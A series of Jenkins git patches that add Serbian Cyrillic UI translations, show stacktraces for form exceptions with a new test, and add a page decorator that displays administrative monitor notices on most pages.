\u043F\u0440\u043E\u0458\u0435\u043A\u0430\u0442 +Disable\ Build=\u041E\u043D\u0435\u043C\u043E\u0433\u0443\u045B\u0438 \u043F\u0440\u043E\u0458\u0435\u043A\u0430\u0442 +No\ new\ builds\ will\ be\ executed\ until\ the\ project\ is\ re-enabled.=\u041D\u043E\u0432\u0430 \u0438\u0437\u0433\u0440\u0430\u0434\u045A\u0430 \u043D\u0435\u045B\u0435 \u0431\u0438\u0442\u0438 \u0438\u0437\u0432\u0440\u0448\u0438\u0432\u0430\u043D\u0430 \u0434\u043E\u043A \u043F\u0440\u043E\u0458\u0435\u043A\u0430\u0442 \u043D\u0438\u0458\u0435 \u043F\u043E\u043D\u043E\u0432\u043E \u043E\u043C\u043E\u0433\u0443\u045B\u0435\u043D. diff --git a/core/src/main/resources/lib/hudson/project/config-publishers2_sr.properties b/core/src/main/resources/lib/hudson/project/config-publishers2_sr.properties new file mode 100644 index 0000000000..fb799a8a9e --- /dev/null +++ b/core/src/main/resources/lib/hudson/project/config-publishers2_sr.properties @@ -0,0 +1,4 @@ +# This file is under the MIT License by authors + +Post-build\ Actions=\u0410\u043A\u0446\u0438\u0458\u0435 \u043F\u043E\u0441\u043B\u0435 \u0438\u0437\u0433\u0440\u0430\u0434\u045A\u0435 +Add\ post-build\ action=\u0414\u043E\u0434\u0430\u0458 \u0430\u043A\u0446\u0438\u0458\u0443 \u043F\u043E\u0441\u043B\u0435 \u0438\u0437\u0433\u0440\u0430\u0434\u045A\u0435 diff --git a/core/src/main/resources/lib/hudson/project/config-publishers_sr.properties b/core/src/main/resources/lib/hudson/project/config-publishers_sr.properties new file mode 100644 index 0000000000..4d777bfe2c --- /dev/null +++ b/core/src/main/resources/lib/hudson/project/config-publishers_sr.properties @@ -0,0 +1,3 @@ +# This file is under the MIT License by authors + +Post-build\ Actions=\u0410\u043A\u0446\u0438\u0458\u0435 \u043F\u043E\u0441\u043B\u0435 \u0438\u0437\u0433\u0440\u0430\u0434\u045A\u0435 diff --git a/core/src/main/resources/lib/hudson/project/config-quietPeriod_sr.properties b/core/src/main/resources/lib/hudson/project/config-quietPeriod_sr.properties new file mode 100644 index 0000000000..d48d4a3d1c --- /dev/null +++ b/core/src/main/resources/lib/hudson/project/config-quietPeriod_sr.properties @@ -0,0 +1,4 @@ +# This file is under the MIT License by authors + +Number\ of\ seconds=\u0412\u0440\u043E\u0458 \u0441\u0435\u043A\u0443\u043D\u0434\u0438 +Quiet\ period=\u041F\u0435\u0440\u0438\u043E\u0434 \u0442\u0438\u0448\u0438\u043D\u0435 diff --git a/core/src/main/resources/lib/hudson/project/config-retryCount_sr.properties b/core/src/main/resources/lib/hudson/project/config-retryCount_sr.properties new file mode 100644 index 0000000000..b4f7670b62 --- /dev/null +++ b/core/src/main/resources/lib/hudson/project/config-retryCount_sr.properties @@ -0,0 +1,4 @@ +# This file is under the MIT License by authors + +SCM\ checkout\ retry\ count=\u0411\u0440\u043E\u0458 \u043F\u043E\u043A\u0443\u0448\u0430\u0458\u0430 \u043F\u0440\u0435\u0443\u0437\u0438\u043C\u0430\u045A\u0435 \u0438\u0437\u0432\u043E\u0440\u043D\u043E\u0433 \u043A\u043E\u0434\u0430 +Retry\ Count=\u0411\u0440\u043E\u0458 \u043F\u043E\u043A\u0443\u0448\u0430\u0458\u0430 diff --git a/core/src/main/resources/lib/hudson/project/config-scm_sr.properties b/core/src/main/resources/lib/hudson/project/config-scm_sr.properties new file mode 100644 index 0000000000..4d1d943b75 --- /dev/null +++ b/core/src/main/resources/lib/hudson/project/config-scm_sr.properties @@ -0,0 +1,5 @@ +# This file is under the MIT License by authors + +Advanced\ Source\ Code\ Management=\u041D\u0430\u043F\u0440\u0435\u0434\u043D\u043E \u0443\u043F\u0440\u0430\u0432\u0459\u0430\u045A\u0435 \u0438\u0437\u0432\u043E\u0440\u043D\u0438\u043C \u043A\u043E\u0434\u043E\u043C +SCM\ Checkout\ Strategy=\u0428\u0430\u0431\u043B\u043E\u043D \u043F\u0440\u0435\u0434\u0443\u0437\u0438\u043C\u0430\u045A\u0430 \u0438\u0437\u0432\u043E\u0440\u043D\u043E\u0433 \u043A\u043E\u0434\u0430 +Source\ Code\ Management=\u0421\u0438\u0441\u0442\u0435\u043C \u0443\u043F\u0440\u0430\u0432\u0459\u0430\u045A\u0430 \u0438\u0437\u0432\u043E\u0440\u043D\u043E\u0433 \u043A\u043E\u0434\u0430 diff --git a/core/src/main/resources/lib/hudson/project/config-trigger_sr.properties b/core/src/main/resources/lib/hudson/project/config-trigger_sr.properties new file mode 100644 index 0000000000..aae2ee44ed --- /dev/null +++ b/core/src/main/resources/lib/hudson/project/config-trigger_sr.properties @@ -0,0 +1,3 @@ +# This file is under the MIT License by authors + +Build\ Triggers=\u041F\u043E\u043A\u0440\u0435\u0442\u0430\u045A\u0430 \u0438\u0437\u0433\u0440\u0430\u0434\u045A\u0435 diff --git a/core/src/main/resources/lib/hudson/project/config-upstream-pseudo-trigger_sr.properties b/core/src/main/resources/lib/hudson/project/config-upstream-pseudo-trigger_sr.properties new file mode 100644 index 0000000000..2226c35440 --- /dev/null +++ b/core/src/main/resources/lib/hudson/project/config-upstream-pseudo-trigger_sr.properties @@ -0,0 +1,5 @@ +# This file is under the MIT License by authors + +Project\ names=\u0418\u043C\u0435\u043D\u0430 \u043F\u0440\u043E\u0458\u0435\u043A\u0442\u0430 +Build\ after\ other\ projects\ are\ built=\u0418\u0437\u0433\u0440\u0430\u0434\u0438 \u043F\u043E\u0441\u043B\u0435 \u0438\u0437\u0433\u0440\u0430\u0434\u045A\u0435 \u0434\u0440\u0443\u0433\u0438\u0445 \u043F\u0440\u043E\u0458\u0435\u043A\u0430\u0442\u0430 +Multiple\ projects\ can\ be\ specified\ like\ 'abc,\ def'=\u0412\u0438\u0448\u0435 \u043F\u0440\u043E\u0458\u0435\u043A\u0430\u0442\u0430 \u043C\u043E\u0433\u0443 \u0441\u0435 \u043D\u0430\u0432\u0435\u0441\u0442\u0438 '\u0430\u0431\u0432,\u0433\u0434\u0435' diff --git a/core/src/main/resources/lib/hudson/project/configurable_sr.properties b/core/src/main/resources/lib/hudson/project/configurable_sr.properties index 2b7db5910f..436d9791d6 100644 --- a/core/src/main/resources/lib/hudson/project/configurable_sr.properties +++ b/core/src/main/resources/lib/hudson/project/configurable_sr.properties @@ -20,7 +20,8 @@ # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN # THE SOFTWARE. -Build\ scheduled=Build je zakazan -Configure=Podesavana -delete=Obrisi {0} -delete.confirm=Da li \u017eeli\u0161 da obri\u0161e\u0161 {0} \u2018{1}\u2019? +Build\ scheduled=\u0418\u0437\u0433\u0440\u0430\u0434\u045A\u0430 \u0437\u0430\u043A\u0430\u0437\u0430\u043D\u0430 +Configure=\u041F\u043E\u0434\u0435\u0448\u0430\u0432\u0430\u045A\u0430 +delete=\u0423\u043A\u043B\u043E\u043D\u0438 {0} +delete.confirm=\u0414\u0430 \u043B\u0438 \u0436\u0435\u043B\u0438\u0442\u0435 \u0434\u0430 \u0443\u043A\u043B\u043E\u043D\u0438\u0442\u0435 {0} \u2018{1}\u2019? +View\ Configuration=\u041F\u0440\u0435\u0433\u043B\u0435\u0434 \u043F\u043E\u0434\u0435\u0448\u0430\u0432\u0430\u045A\u0430 diff --git a/core/src/main/resources/lib/hudson/project/console-link_sr.properties b/core/src/main/resources/lib/hudson/project/console-link_sr.properties new file mode 100644 index 0000000000..a58b54d29d --- /dev/null +++ b/core/src/main/resources/lib/hudson/project/console-link_sr.properties @@ -0,0 +1,4 @@ +# This file is under the MIT License by authors + +View\ as\ plain\ text=\u041F\u0440\u0435\u0433\u043B\u0435\u0434 \u043E\u0431\u0438\u0447\u043D\u043E\u0433 \u0442\u0435\u043A\u0441\u0442\u0430 +Console\ Output=\u0418\u0441\u0445\u043E\u0434 \u0438\u0437 \u043A\u043E\u043D\u0437\u043E\u043B\u0435 diff --git a/core/src/main/resources/lib/hudson/project/upstream-downstream_sr.properties b/core/src/main/resources/lib/hudson/project/upstream-downstream_sr.properties index ae9d077e7b..3ce2c7835b 100644 --- a/core/src/main/resources/lib/hudson/project/upstream-downstream_sr.properties +++ b/core/src/main/resources/lib/hudson/project/upstream-downstream_sr.properties @@ -1,4 +1,4 @@ # This file is under the MIT License by authors -Downstream\ Projects=Downstream projekti -Upstream\ Projects=Upstream projekti +Downstream\ Projects=Downstream \u043F\u0440\u043E\u0458\u0435\u043A\u0442\u0438 +Upstream\ Projects=Upstream \u043F\u0440\u043E\u0458\u0435\u043A\u0442\u0438 \ No newline at end of file diff --git a/core/src/main/resources/lib/hudson/propertyTable_sr.properties b/core/src/main/resources/lib/hudson/propertyTable_sr.properties new file mode 100644 index 0000000000..77ff4ea72a --- /dev/null +++ b/core/src/main/resources/lib/hudson/propertyTable_sr.properties @@ -0,0 +1,4 @@ +# This file is under the MIT License by authors + +Name=\u0418\u043C\u0435 +Value=\u0412\u0440\u0435\u0434\u043D\u043E\u0441\u0442 diff --git a/core/src/main/resources/lib/hudson/queue_sr.properties b/core/src/main/resources/lib/hudson/queue_sr.properties index 6e99e6d227..e9d9219566 100644 --- a/core/src/main/resources/lib/hudson/queue_sr.properties +++ b/core/src/main/resources/lib/hudson/queue_sr.properties @@ -1,6 +1,13 @@ # This file is under the MIT License by authors -Build\ Queue=Red Gradnje{0,choice,0#|0< ({0,number})} -No\ builds\ in\ the\ queue.=Nema zakazanih procesa -WaitingFor=\u010Ceka se {0} -WaitingSince=\u010Ceka od {0} +Build\ Queue= +No\ builds\ in\ the\ queue.=\u041D\u0435\u043C\u0430 \u0437\u0430\u043A\u0430\u0437\u0430\u043D\u0438\u0445 \u0438\u0437\u0433\u0440\u0430\u0434\u045A\u0430 +WaitingFor=\u0427\u0435\u043A\u0430 \u0441\u0435 {0} +WaitingSince=\u0427\u0435\u043A\u0430 \u043E\u0434 {0} +Filtered\ Build\ Queue=\u041F\u0440\u043E\u0444\u0438\u043B\u0442\u0440\u0438\u0440\u0430\u043D \u0440\u0435\u0434 \u0438\u0437\u0433\u0440\u0430\u0434\u045A\u0430 +Jenkins\ is\ going\ to\ shut\ down.\ No\ further\ builds\ will\ be\ performed.=Jenkins \u045B\u0435 \u0431\u0438\u0442\u0438 \u0443\u0433\u0430\u0448\u0435\u043D. \u0414\u043E\u0434\u0430\u0442\u043D\u0435 \u0438\u0437\u0433\u0440\u0430\u0434\u045A\u0435 \u0441\u0435 \u043D\u0435\u045B\u0435 \u0438\u0437\u0432\u0440\u0448\u0438\u0442\u0438. +cancel=\u043E\u0442\u043A\u0430\u0436\u0438 +Unknown\ Task=\u041D\u0435\u043F\u043E\u0437\u043D\u0430\u0442\u0430 \u0438\u0437\u0433\u0440\u0430\u0434\u045A\u0430 +confirm=\u0414\u0430 \u043B\u0438 \u0441\u0442\u0435 \u0441\u0438\u0433\u0443\u0440\u043D\u0438 \u0434\u0430 \u0436\u0435\u043B\u0438\u0442\u0435 \u0434\u0430 \u043E\u0442\u043A\u0430\u0436\u0435\u0442\u0435 \u0437\u0430\u043A\u0430\u0442\u0430\u043D\u0443 \u0438\u0437\u0433\u0440\u0430\u0434\u045A\u0443 {0}?\ +Are you sure you want to cancel the queued run of {0}? +appears\ to\ be\ stuck=\u0458\u0435 \u0437\u0430\u0433\u043B\u0430\u0432\u0459\u0435\u043D\u043E diff --git a/core/src/main/resources/lib/hudson/rssBar_sr.properties b/core/src/main/resources/lib/hudson/rssBar_sr.properties index 00ddfd30a3..09b57a4dcc 100644 --- a/core/src/main/resources/lib/hudson/rssBar_sr.properties +++ b/core/src/main/resources/lib/hudson/rssBar_sr.properties @@ -1,6 +1,6 @@ # This file is under the MIT License by authors -Legend=Legenda -for\ all=za sve -for\ failures=za neuspe\u0161ne -for\ just\ latest\ builds=samo za najnovije gradnje +Legend=\u041B\u0435\u0433\u0435\u043D\u0434\u0430 +for\ all=\u0437\u0430 \u0441\u0432\u0435 +for\ failures=\u0437\u0430 \u043D\u0435\u0443\u0441\u043F\u0435\u0448\u043D\u0435 +for\ just\ latest\ builds=\u0441\u0430\u043C\u043E \u0437\u0430 \u043D\u0430\u0458\u043D\u043E\u0432\u0438\u0458\u0435 \u0438\u0437\u0433\u0440\u0430\u0434\u045A\u0435 diff --git a/core/src/main/resources/lib/hudson/scriptConsole_sr.properties b/core/src/main/resources/lib/hudson/scriptConsole_sr.properties new file mode 100644 index 0000000000..d460d45ff9 --- /dev/null +++ b/core/src/main/resources/lib/hudson/scriptConsole_sr.properties @@ -0,0 +1,13 @@ +# This file is under the MIT License by authors + +Script\ Console=\u041A\u043E\u043D\u0437\u043E\u043B\u0430 +description=\ + \u0423\u043D\u0435\u0441\u0438\u0442\u0435 \u0430\u0440\u0431\u0438\u0442\u0440\u0430\u0440\u043D\u0438 Groovy \u0441\u043A\u0440\u0443\u043F\u0442\u0443 \u0438 \ + \u0438\u0437\u0432\u0440\u0448\u0438 \u0458\u0435 \u043D\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0443. \u041A\u043E\u0440\u0438\u0441\u043D\u043E \u043A\u043E\u0434 \u0440\u0435\u0448\u0430\u0432\u0430\u045A\u0435 \u043F\u0440\u043E\u0431\u043B\u0435\u043C\u0430 \u0438 \u0434\u0438\u0430\u0433\u043D\u043E\u0441\u0442\u0438\u043A\u043E\u043C. \ + \u041A\u043E\u0440\u0438\u0441\u0442\u0438\u0442\u0435 \u043A\u043E\u043C\u0430\u043D\u0434\u0443 \u2018println\u2019 \u0434\u0430 \u0432\u0438\u0434\u0438\u0442\u0435 \u0438\u0441\u0445\u043E\u0434 (\u0431\u0438\u045B\u0435 \u043F\u0440\u0435\u0443\u0441\u043C\u0435\u0440\u0435\u043D\u043E \ + System.out \u043F\u0440\u0435\u043C\u0430 stdout \u0441\u0435\u0440\u0432\u0435\u0440\u0430, \u0448\u0442\u043E \u0441\u0435 \u0442\u0435\u0436\u0435 \u0447\u0438\u0442\u0430.) \u041F\u0440\u0438\u043C\u0435\u0440: +description2=\ + \u0421\u0432\u0435 \u043A\u043B\u0430\u0441\u0435 \u0441\u0430 \u0441\u0432\u0438\u0445 \u043C\u043E\u0434\u0443\u043B\u0430 \u0441\u0443 \u0432\u0438\u0434\u0459\u0438\u0432\u0438. jenkins.*, jenkins.model.*, hudson.*, and hudson.model.* \u0441\u0443 \u043F\u0440\u0435\u0442\u0445\u043E\u0434\u043D\u043E \u0443\u0447\u0438\u0442\u0430\u043D\u0430. +Run=\u0418\u0437\u0432\u0440\u0448\u0438 +Result=\u0420\u0435\u0437\u0443\u043B\u0442\u0430\u0442 +It\ is\ not\ possible\ to\ run\ scripts\ when\ agent\ is\ offline.=\u041D\u0438\u0458\u0435 \u043C\u043E\u0433\u0443\u045B\u0435 \u0438\u0437\u0432\u0440\u0448\u0438\u0442\u0438 \u0441\u043A\u0438\u043F\u0442\u043E\u0432\u0435 \u043A\u0430\u0434\u0430 \u0430\u0433\u0435\u043D\u0442 \u043D\u0438\u0458\u0435 \u043F\u043E\u0432\u0435\u0437\u0430\u043D. diff --git a/core/src/main/resources/lib/hudson/thirdPartyLicenses_sr.properties b/core/src/main/resources/lib/hudson/thirdPartyLicenses_sr.properties new file mode 100644 index 0000000000..4b3e12ab10 --- /dev/null +++ b/core/src/main/resources/lib/hudson/thirdPartyLicenses_sr.properties @@ -0,0 +1,5 @@ +# This file is under the MIT License by authors + +Name=\u0418\u043C\u0435 +Maven\ ID=\u0418\u0434\u0435\u043D\u0442\u0438\u0444\u0438\u043A\u0430\u0442\u043E\u0440 \u0437\u0430 Maven +License=\u041B\u0438\u0446\u0435\u043D\u0446\u0430 diff --git a/core/src/main/resources/lib/layout/breadcrumbBar_sr.properties b/core/src/main/resources/lib/layout/breadcrumbBar_sr.properties index dc5c69d85d..b09138e3ce 100644 --- a/core/src/main/resources/lib/layout/breadcrumbBar_sr.properties +++ b/core/src/main/resources/lib/layout/breadcrumbBar_sr.properties @@ -1,3 +1,4 @@ # This file is under the MIT License by authors -ENABLE\ AUTO\ REFRESH=UKLJU\u010CI AUTOMATSKI OSVE\u017DAVANJE +ENABLE\ AUTO\ REFRESH=\u0421\u0430 \u0430\u0443\u0442\u043E\u043C\u0430\u0442\u0441\u043A\u0438\u043C \u043E\u0441\u0432\u0435\u0436\u0438\u0432\u0430\u045A\u0435\u043C +DISABLE\ AUTO\ REFRESH=\u0411\u0435\u0437 \u0430\u0443\u0442\u043E\u043C\u0430\u0442\u0441\u043A\u043E\u0433 \u043E\u0441\u0432\u0435\u0436\u0438\u0432\u0430\u045A\u0435\u043C \ No newline at end of file diff --git a/core/src/main/resources/lib/layout/layout_sr.properties b/core/src/main/resources/lib/layout/layout_sr.properties index 43e466ad98..bcf87ace3d 100644 --- a/core/src/main/resources/lib/layout/layout_sr.properties +++ b/core/src/main/resources/lib/layout/layout_sr.properties @@ -20,6 +20,7 @@ # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN # THE SOFTWARE. -Page\ generated=Izgenerirana stranica -logout=Odlogiraj se -search=Tra\u017Ei +Page\ generated=\u0418\u0437\u0433\u0435\u043D\u0435\u0440\u0438\u0441\u0430\u043D\u0430 \u0441\u0442\u0440\u0430\u043D\u0438\u0446\u0430 +logout=\u041E\u0434\u0458\u0430\u0432\u0438 \u0441\u0435 +search=\u041F\u0440\u0435\u0442\u0440\u0430\u0433\u0430 +searchBox.url=http://wiki.jenkins-ci.org/display/JENKINS/Search+Box diff --git a/core/src/main/resources/lib/layout/main-panel_sr.properties b/core/src/main/resources/lib/layout/main-panel_sr.properties new file mode 100644 index 0000000000..394a52ebe5 --- /dev/null +++ b/core/src/main/resources/lib/layout/main-panel_sr.properties @@ -0,0 +1,3 @@ +# This file is under the MIT License by authors + +Jenkins\ is\ going\ to\ shut\ down=Jenkins \u045B\u0435 \u0441\u0435 \u0443\u0433\u0430\u0441\u0438\u0442\u0438 diff --git a/core/src/main/resources/lib/layout/pane_sr.properties b/core/src/main/resources/lib/layout/pane_sr.properties new file mode 100644 index 0000000000..a0e25a9d4b --- /dev/null +++ b/core/src/main/resources/lib/layout/pane_sr.properties @@ -0,0 +1,4 @@ +# This file is under the MIT License by authors + +expand=\u0420\u0430\u0448\u0438\u0440\u0438 +collapse=\u0421\u043C\u0430\u045A\u0438 diff --git a/core/src/main/resources/lib/layout/progressiveRendering_sr.properties b/core/src/main/resources/lib/layout/progressiveRendering_sr.properties new file mode 100644 index 0000000000..261504a0ee --- /dev/null +++ b/core/src/main/resources/lib/layout/progressiveRendering_sr.properties @@ -0,0 +1,3 @@ +# This file is under the MIT License by authors + +progressMessage=\u041E\u0431\u0440\u0430\u0434\u0430\u045A\u0435... diff --git a/core/src/main/resources/lib/layout/task_sr.properties b/core/src/main/resources/lib/layout/task_sr.properties new file mode 100644 index 0000000000..615977c370 --- /dev/null +++ b/core/src/main/resources/lib/layout/task_sr.properties @@ -0,0 +1,3 @@ +# This file is under the MIT License by authors + +Done.=\u0413\u043E\u0442\u043E\u0432\u043E. diff --git a/core/src/main/resources/lib/test/bar_sr.properties b/core/src/main/resources/lib/test/bar_sr.properties new file mode 100644 index 0000000000..9413a8e362 --- /dev/null +++ b/core/src/main/resources/lib/test/bar_sr.properties @@ -0,0 +1,6 @@ +# This file is under the MIT License by authors + +No\ tests=\u041D\u0435\u043C\u0430 \u0442\u0435\u0441\u0442\u043E\u0432\u0430 +failures={0} \u0433\u0440\u0435\u0448\u043A\u0430 +skipped={0} \u043F\u0440\u0435\u0441\u043A\u043E\u0447\u0435\u043D\u043E +tests={0} \u0442\u0435\u0441\u0442\u043E\u0432(\u0430) -- GitLab From 0ba90615c78b9e452a71cf67e42fc909c72ee729 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Oliver=20Gond=C5=BEa?= Date: Tue, 20 Sep 2016 10:00:51 +0200 Subject: [PATCH 312/811] Present stacktrace when throwable attached to Descriptor.FormException --- .../main/java/hudson/model/Descriptor.java | 2 +- core/src/main/java/hudson/model/Failure.java | 8 ++++++ .../java/hudson/model/DescriptorTest.java | 26 +++++++++++++++++++ 3 files changed, 35 insertions(+), 1 deletion(-) diff --git a/core/src/main/java/hudson/model/Descriptor.java b/core/src/main/java/hudson/model/Descriptor.java index 66a2ff90e7..48d3af0284 100644 --- a/core/src/main/java/hudson/model/Descriptor.java +++ b/core/src/main/java/hudson/model/Descriptor.java @@ -1144,7 +1144,7 @@ public abstract class Descriptor> implements Saveable { .generateResponse(req, rsp, node); } else { // for now, we can't really use the field name that caused the problem. - new Failure(getMessage()).generateResponse(req,rsp,node); + new Failure(getMessage()).generateResponse(req,rsp,node,getCause()); } } } diff --git a/core/src/main/java/hudson/model/Failure.java b/core/src/main/java/hudson/model/Failure.java index fa94890199..70f3e3844f 100644 --- a/core/src/main/java/hudson/model/Failure.java +++ b/core/src/main/java/hudson/model/Failure.java @@ -28,6 +28,7 @@ import org.kohsuke.stapler.HttpResponse; import org.kohsuke.stapler.StaplerRequest; import org.kohsuke.stapler.StaplerResponse; +import javax.annotation.Nullable; import javax.servlet.ServletException; import java.io.IOException; @@ -54,6 +55,13 @@ public class Failure extends RuntimeException implements HttpResponse { this.pre = pre; } + public void generateResponse(StaplerRequest req, StaplerResponse rsp, Object node, @Nullable Throwable throwable) throws IOException, ServletException { + if (throwable != null) { + req.setAttribute("exception", throwable); + } + generateResponse(req, rsp, node); + } + public void generateResponse(StaplerRequest req, StaplerResponse rsp, Object node) throws IOException, ServletException { req.setAttribute("message",getMessage()); if(pre) diff --git a/test/src/test/java/hudson/model/DescriptorTest.java b/test/src/test/java/hudson/model/DescriptorTest.java index ef669bef1b..4182f826c4 100644 --- a/test/src/test/java/hudson/model/DescriptorTest.java +++ b/test/src/test/java/hudson/model/DescriptorTest.java @@ -24,6 +24,7 @@ package hudson.model; +import com.gargoylesoftware.htmlunit.FailingHttpStatusCodeException; import hudson.Launcher; import hudson.model.Descriptor.PropertyType; import hudson.tasks.BuildStepDescriptor; @@ -32,9 +33,14 @@ import hudson.tasks.Shell; import java.io.IOException; import java.util.Arrays; import java.util.List; +import java.util.concurrent.Callable; + import jenkins.model.Jenkins; import net.sf.json.JSONObject; + +import static org.hamcrest.Matchers.containsString; import static org.junit.Assert.*; + import org.junit.Ignore; import org.junit.Rule; import org.junit.Test; @@ -42,6 +48,7 @@ import org.jvnet.hudson.test.Issue; import org.jvnet.hudson.test.JenkinsRule; import org.jvnet.hudson.test.TestExtension; import org.kohsuke.stapler.DataBoundConstructor; +import org.kohsuke.stapler.Stapler; import org.kohsuke.stapler.StaplerRequest; @SuppressWarnings({"unchecked", "rawtypes"}) @@ -195,4 +202,23 @@ public class DescriptorTest { @TestExtension("nestedDescribableSharingClass") public static class DescriptorImpl extends Descriptor {} } + @Test + public void presentStacktraceFromFormException() throws Exception { + NullPointerException cause = new NullPointerException(); + final Descriptor.FormException fe = new Descriptor.FormException("My Message", cause, "fake"); + try { + rule.executeOnServer(new Callable() { + @Override public Void call() throws Exception { + fe.generateResponse(Stapler.getCurrentRequest(), Stapler.getCurrentResponse(), Jenkins.getInstance()); + return null; + } + }); + fail(); + } catch (FailingHttpStatusCodeException ex) { + String response = ex.getResponse().getContentAsString(); + assertThat(response, containsString(fe.getMessage())); + assertThat(response, containsString(cause.getClass().getCanonicalName())); + assertThat(response, containsString(getClass().getCanonicalName())); + } + } } -- GitLab From a11d9ce99ac73653e609e70e02967a1be2cf484e Mon Sep 17 00:00:00 2001 From: Daniel Beck Date: Wed, 21 Sep 2016 03:07:45 +0200 Subject: [PATCH 313/811] [FIX JENKINS-38391] Show admin monitors on most URLs --- .../AdministrativeMonitorsDecorator.java | 136 +++++++++++++++ .../MigrationFailedNotice/message.jelly | 2 +- .../util/AdministrativeError/message.jelly | 2 +- .../footer.jelly | 159 ++++++++++++++++++ .../jenkins/management/Messages.properties | 2 + 5 files changed, 299 insertions(+), 2 deletions(-) create mode 100644 core/src/main/java/jenkins/management/AdministrativeMonitorsDecorator.java create mode 100644 core/src/main/resources/jenkins/management/AdministrativeMonitorsDecorator/footer.jelly diff --git a/core/src/main/java/jenkins/management/AdministrativeMonitorsDecorator.java b/core/src/main/java/jenkins/management/AdministrativeMonitorsDecorator.java new file mode 100644 index 0000000000..1c4b1f01cf --- /dev/null +++ b/core/src/main/java/jenkins/management/AdministrativeMonitorsDecorator.java @@ -0,0 +1,136 @@ +/* + * The MIT License + * + * Copyright (c) 2016, Daniel Beck, CloudBees, Inc. + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in + * all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN + * THE SOFTWARE. + */ +package jenkins.management; + +import hudson.Extension; +import hudson.Functions; +import hudson.diagnosis.ReverseProxySetupMonitor; +import hudson.model.AdministrativeMonitor; +import hudson.model.PageDecorator; +import hudson.util.HudsonIsLoading; +import hudson.util.HudsonIsRestarting; +import jenkins.model.Jenkins; +import org.kohsuke.accmod.Restricted; +import org.kohsuke.accmod.restrictions.NoExternalUse; +import org.kohsuke.stapler.Ancestor; +import org.kohsuke.stapler.Stapler; +import org.kohsuke.stapler.StaplerRequest; + +import javax.servlet.ServletException; +import java.io.IOException; +import java.util.ArrayList; +import java.util.Collection; +import java.util.List; + +/** + * Show a notification and popup for active administrative monitors on all pages. + */ +@Extension +@Restricted(NoExternalUse.class) +public class AdministrativeMonitorsDecorator extends PageDecorator { + private final Collection ignoredJenkinsRestOfUrls = new ArrayList<>(); + + public AdministrativeMonitorsDecorator() { + // redundant + ignoredJenkinsRestOfUrls.add("manage"); + + // otherwise this would be added to every internal context menu building request + ignoredJenkinsRestOfUrls.add("contextMenu"); + } + + @Override + public String getDisplayName() { + return Messages.AdministrativeMonitorsDecorator_DisplayName(); + } + + public int getActiveAdministrativeMonitorsCount() { + return getActiveAdministrativeMonitors().size(); + } + + public Collection getActiveAdministrativeMonitors() { + Collection active = new ArrayList<>(); + Collection ams = new ArrayList<>(Jenkins.getInstance().administrativeMonitors); + for (AdministrativeMonitor am : ams) { + if (am instanceof ReverseProxySetupMonitor) { + // TODO make reverse proxy monitor work when shown on any URL + continue; + } + if (am.isEnabled() && am.isActivated()) { + active.add(am); + } + } + return active; + } + + /** + * Whether the administrative monitors notifier should be shown. + * @return true iff the administrative monitors notifier should be shown. + * @throws IOException + * @throws ServletException + */ + public boolean shouldDisplay() throws IOException, ServletException { + if (!Functions.hasPermission(Jenkins.ADMINISTER)) { + return false; + } + + if (getActiveAdministrativeMonitorsCount() == 0) { + return false; + } + + StaplerRequest req = Stapler.getCurrentRequest(); + + if (req == null) { + return false; + } + List ancestors = req.getAncestors(); + + if (ancestors == null || ancestors.size() == 0) { + // ??? + return false; + } + + Ancestor a = ancestors.get(ancestors.size() - 1); + Object o = a.getObject(); + + // don't show while Jenkins is loading + if (o instanceof HudsonIsLoading) { + return false; + } + // … or restarting + if (o instanceof HudsonIsRestarting) { + return false; + } + + // don't show for some URLs served directly by Jenkins + if (o instanceof Jenkins) { + String url = a.getRestOfUrl(); + + if (ignoredJenkinsRestOfUrls.contains(url)) { + return false; + } + } + + return true; + } +} \ No newline at end of file diff --git a/core/src/main/resources/hudson/os/solaris/ZFSInstaller/MigrationFailedNotice/message.jelly b/core/src/main/resources/hudson/os/solaris/ZFSInstaller/MigrationFailedNotice/message.jelly index 9ea4de3643..b2ff365c9f 100644 --- a/core/src/main/resources/hudson/os/solaris/ZFSInstaller/MigrationFailedNotice/message.jelly +++ b/core/src/main/resources/hudson/os/solaris/ZFSInstaller/MigrationFailedNotice/message.jelly @@ -26,6 +26,6 @@ THE SOFTWARE. \ No newline at end of file diff --git a/core/src/main/resources/hudson/util/AdministrativeError/message.jelly b/core/src/main/resources/hudson/util/AdministrativeError/message.jelly index bb30dc1ee7..3b48c00afb 100644 --- a/core/src/main/resources/hudson/util/AdministrativeError/message.jelly +++ b/core/src/main/resources/hudson/util/AdministrativeError/message.jelly @@ -26,6 +26,6 @@ THE SOFTWARE. \ No newline at end of file diff --git a/core/src/main/resources/jenkins/management/AdministrativeMonitorsDecorator/footer.jelly b/core/src/main/resources/jenkins/management/AdministrativeMonitorsDecorator/footer.jelly new file mode 100644 index 0000000000..76f3406f5d --- /dev/null +++ b/core/src/main/resources/jenkins/management/AdministrativeMonitorsDecorator/footer.jelly @@ -0,0 +1,159 @@ + + + + + + + + + + diff --git a/core/src/main/resources/jenkins/management/Messages.properties b/core/src/main/resources/jenkins/management/Messages.properties index ff1761da0f..9913ab66d2 100644 --- a/core/src/main/resources/jenkins/management/Messages.properties +++ b/core/src/main/resources/jenkins/management/Messages.properties @@ -56,3 +56,5 @@ NodesLink.Description=Add, remove, control and monitor the various nodes that Je ShutdownLink.DisplayName_prepare=Prepare for Shutdown ShutdownLink.DisplayName_cancel=Cancel Shutdown 